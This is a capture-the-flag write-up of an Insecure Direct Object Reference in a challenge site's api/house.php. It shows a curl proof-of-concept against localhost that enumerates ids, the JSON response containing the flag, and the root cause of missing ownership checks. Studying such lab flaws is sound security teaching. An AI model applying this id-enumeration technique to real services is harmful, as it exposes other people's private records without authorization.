Overview
The Halloween-themed neighborhood site exposes an Insecure Direct Object Reference (IDOR) in api/house.php. Any numeric id returns a house record regardless of who is “logged in,” allowing access to hidden houses and private notes containing the flag.
How the site works
- On
index.php, selecting your house postshouse_idand stores it in the session. - The treat page
house.php?house=<id>then fetches details viaGET api/house.php?id=<id>and renders the response. - The homepage intentionally hides certain houses (those with
"hidden": trueindata/houses.json), but the API still serves them.
Discovery
- From the homepage, pick any visible address; you land on
house.php?house=<your_id>. - Open DevTools Network tab and refresh: the page calls
api/house.php?id=<your_id>. - Modify either the page URL (
houseparameter) or call the API directly with a different numericid; the backend returns data for thatidwithout verifying ownership.
Exploitation
Manual proof-of-concept using the vulnerable API:
curl 'http://localhost:8080/api/house.php?id=13'
Formatted response (note the hidden house and the flag in the private note):
{
"id": 13,
"name": "The Haunted Mansion",
"address": "1337 Shadow Court",
"hidden": true,
"candy": [
{ "kind": "Full-Size Bars", "qty": 13 },
{ "kind": "Flag", "qty": 1 }
],
"note": "VIP list only. If you can see this, whisper the secret: MetaCTF{1n3cure_d1r3ct_c4ndy_r3f3r3nc3s}"
}
Why it works (root cause)
- Missing object-level authorization:
api/house.phpreturns records solely byidand never checks the session’shouse_id. - Predictable identifiers: Small, sequential numeric ids make guessing/enumeration trivial.